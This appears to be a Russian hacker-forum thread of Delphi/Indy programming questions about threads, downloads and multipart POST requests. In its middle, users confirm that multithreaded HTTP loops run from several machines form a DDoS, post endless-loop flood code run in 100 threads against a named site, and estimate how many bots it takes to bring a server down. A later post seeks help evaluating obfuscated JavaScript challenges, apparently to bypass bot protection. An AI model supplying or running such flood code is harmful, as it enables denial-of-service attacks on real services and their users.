Всем доброго времени суток! У меня есть вопрос, возможно он глуп но всё же... Этот код работает на ура... --------------------------------------------- А этот молчит... В чём причина? Заранее спасибо.
1. synchronize(procedure begin showmessage('пыщ пыщ'); end); 2. Могу предположить, что компонент просто откажется работать, покажет какую нить дефолтную страничку о ошибке
Какой способ будет работать быстрее (UrlDownloadToFile или GetInetFile)? И как добавить progressbar (или просто узнать размер, и сколько скачено)
один фиг ты не заметишь разницы. Потому что канал будет давать наибольшее ограничение, по сравнению с которым разница в скорости этих функций ничтожна
Объявляете. Code: type Send = class (TThread) private protected procedure Execute; override; end; Создаете. Code: procedure send.execute; var s : string; http : tidhttp; begin http := tidhttp.create; try s := http.get ('http://ya.ru/'); except end; {Что-то делаем с данными} http.free; end; Запускаете. Code: function new_send : boolean; var NewThread : Send; begin NewThread := Send.Create(true); NewThread.Priority := tpnormal; NewThread.FreeOnTerminate := true; NewThread.Start; Result := true; end; for i := 1 to 10 do new_send; - и все, готово.
Поделитесь хорошим генератором multipart/form-data пакетов (ну или только тела пакета) и чтобы можно было добавлять еще параметры в существующие тела (то есть удалить 2 последние строки, и добавить еще параметр, потом опять закрыть тело пакета) ПС: Кто в курсе тот поймет
В связи с недавними событиями ддоса на ачате появился повпрос: Если сделать так: Code: procedure send.execute; var s : string; http : tidhttp; begin http := tidhttp.create; try [B] for i:=1 to 10000000 do [/B] s := http.get ('http://ya.ru/'); except end; {Что-то делаем с данными} http.free; end; for i := 1 to 10000000 do new_send; И запустить на нескольких компах? это и будет ддос? Или я чего не догоняю?
denjf, да, но лучше запустить for i := 1 to 100 do new_send; (в 100 потоков) и в процедуре send_execute написать Code: var http : tidhttp; begin http := tidhttp.create; while true do try http.get ('http://ya.ru/'); except end; end;
][yZ Немного не в тему но все же: Сколько надо компов таких что бы повесить сервак? несколько сотен или несколько тысяч?
2 denjf зависит от сервака. От 15 ботов до 7k Когда-то получалось обычный сервак под IIS+ASP валить 15 ботами. А вот гугль наверное и 10k незавалят ) Вообще зависит от канала и производительности, и то, какой сервис досишь
Помогите сделать парсинг кода на JS а потом вычислить его Вот примеры кодов: Code: <SCRIPT LANGUAGE='javascript'>var lxpyojqlpu=1589666056;var zvpxuuhob=274005637;var iypbsx=1468515098;var bwxqd=1729288489;var gwiabytd=972356717;if((zvpxuuhob%13)>8) iypbsx = iypbsx ^ 2087927630;if((lxpyojqlpu%5)>4) bwxqd = bwxqd ^ 245640587;if((iypbsx%19)>5) zvpxuuhob = zvpxuuhob ^ 1374324487;if((gwiabytd%17)>3) iypbsx = iypbsx ^ 85138756;if((iypbsx%5)>0) zvpxuuhob = zvpxuuhob ^ 44329079;if((bwxqd%13)>8) iypbsx = iypbsx ^ 1849950360;if((gwiabytd%17)>16) lxpyojqlpu = lxpyojqlpu ^ 965973475;if((gwiabytd%3)>0) gwiabytd = gwiabytd ^ 1549800127;if((iypbsx%11)>10) bwxqd = bwxqd ^ 449762829;if((zvpxuuhob%13)>4) zvpxuuhob = zvpxuuhob ^ 1921956651;if((bwxqd%17)>3) bwxqd = bwxqd ^ 1756278414;if((bwxqd%19)>13) zvpxuuhob = zvpxuuhob ^ 2088122228;if((zvpxuuhob%3)>1) iypbsx = iypbsx ^ 959803415;if((zvpxuuhob%13)>12) lxpyojqlpu = lxpyojqlpu ^ 247077368;if((gwiabytd%17)>9) iypbsx = iypbsx ^ 276505872;if((iypbsx%3)>1) iypbsx = iypbsx ^ 1329437240;if((zvpxuuhob%5)>0) bwxqd = bwxqd ^ 1771328816;lxpyojqlpu = 15221649 ^ lxpyojqlpu ^ zvpxuuhob ^ iypbsx ^ bwxqd ^ gwiabytd;form1.kv.value = lxpyojqlpu;</SCRIPT> Code: <SCRIPT LANGUAGE='javascript'>var ldqfmwupsa=1592845201;var phvcmmef=1878246562;var gguxx=1340020073;var thtkdwera=1601881395;var jthmw=1307169702;if((jthmw%11)>1) jthmw = jthmw ^ 1703361336;if((phvcmmef%3)>0) gguxx = gguxx ^ 1639870829;if((phvcmmef%19)>5) jthmw = jthmw ^ 1579782360;if((thtkdwera%19)>7) gguxx = gguxx ^ 392125920;if((ldqfmwupsa%19)>5) ldqfmwupsa = ldqfmwupsa ^ 410954717;if((thtkdwera%19)>15) phvcmmef = phvcmmef ^ 1343928423;if((jthmw%13)>8) gguxx = gguxx ^ 2054430401;if((jthmw%7)>6) phvcmmef = phvcmmef ^ 164262382;if((ldqfmwupsa%19)>1) thtkdwera = thtkdwera ^ 1737167826;if((ldqfmwupsa%19)>7) phvcmmef = phvcmmef ^ 1197846947;if((jthmw%11)>5) ldqfmwupsa = ldqfmwupsa ^ 280617076;if((phvcmmef%7)>1) thtkdwera = thtkdwera ^ 494554954;if((ldqfmwupsa%5)>2) thtkdwera = thtkdwera ^ 999319489;ldqfmwupsa = 1057472035 ^ ldqfmwupsa ^ phvcmmef ^ gguxx ^ thtkdwera ^ jthmw;form1.kv.value = ldqfmwupsa;</SCRIPT> Code: <SCRIPT LANGUAGE='javascript'>var ssjmlwkrtp=628628863;var shrojpon=1277335524;var fhchrqg=1650542936;var qulgbmtbq=71160325;var wdblkzi=861711698;if((qulgbmtbq%19)>0) ssjmlwkrtp = ssjmlwkrtp ^ 40697840;if((wdblkzi%19)>8) wdblkzi = wdblkzi ^ 531863743;if((qulgbmtbq%19)>9) wdblkzi = wdblkzi ^ 870959117;if((ssjmlwkrtp%17)>15) ssjmlwkrtp = ssjmlwkrtp ^ 871330406;if((wdblkzi%17)>1) qulgbmtbq = qulgbmtbq ^ 254769796;if((ssjmlwkrtp%11)>4) fhchrqg = fhchrqg ^ 696083433;if((ssjmlwkrtp%13)>1) fhchrqg = fhchrqg ^ 1154645328;if((fhchrqg%5)>4) qulgbmtbq = qulgbmtbq ^ 625479442;if((qulgbmtbq%5)>3) shrojpon = shrojpon ^ 2001012507;if((ssjmlwkrtp%13)>1) ssjmlwkrtp = ssjmlwkrtp ^ 1210143159;if((shrojpon%13)>4) shrojpon = shrojpon ^ 1849324198;if((wdblkzi%3)>0) qulgbmtbq = qulgbmtbq ^ 1493504853;if((wdblkzi%3)>2) ssjmlwkrtp = ssjmlwkrtp ^ 908970818;if((shrojpon%19)>4) shrojpon = shrojpon ^ 1963085680;if((fhchrqg%3)>1) wdblkzi = wdblkzi ^ 1786246870;ssjmlwkrtp = 689237102 ^ ssjmlwkrtp ^ shrojpon ^ fhchrqg ^ qulgbmtbq ^ wdblkzi;form1.kv.value = ssjmlwkrtp;</SCRIPT> В коде: Всегда 5 переменных Всегда имя и значения этих переменных разные Всегда 18 "Если" где условие всегда разные
Здравствуйте! Отправляю пост запрос в кодировке 'multipart/form-data' Code: http_client:=TIdHTTP.Create(nil); multi:=Tidmultipartformdatastream.Create; multi.AddFormField('post','0'); multi.AddFormField('postid','1'); multi.AddFormField('test','ТЕСТ'); и т.д..... http_client.Post('http://url', multi); через браузер выходит так: Code: ------------rASF3sX2nnE7XYVfFHAkCK Content-Disposition: form-data; name="post" [B]0[/B] ------------rASF3sX2nnE7XYVfFHAkCK Content-Disposition: form-data; name="postid" [B]1[/B] ------------rASF3sX2nnE7XYVfFHAkCK Content-Disposition: form-data; name="test" [B]ТЕСТ[/B] и т.д. через прогу: Code: ----------012010185513125 Content-Disposition: form-data; name="post" Content-Type: text/plain Content-Transfer-Encoding: quoted-printable [B]0[/B] ----------012010185513125 Content-Disposition: form-data; name="postid" Content-Type: text/plain Content-Transfer-Encoding: quoted-printable [B]1[/B] ----------012010185513125 Content-Disposition: form-data; name="test" Content-Type: text/plain Content-Transfer-Encoding: quoted-printable [B]???.????[/B] и т.д. Подскажите пожалуйста как убрать строки "Content-Type: text/plain" и "Content-Transfer-Encoding: quoted-printable"? Как поменять "----------012010185513125" на "------------rASF3sX2nnE7XYVfFHAkCK" и как сделать чтоб вместо знаков вопросов была нормальная кодировка?
нужна самая актуальная книжка для полных чайников по турбо паскалю, для человека который прогулял в свое время информатику )) где популярно изложено самое простое (что такое var, write.writeln и т.д) з.ы надеюсь разделом не ошибся, если что извините
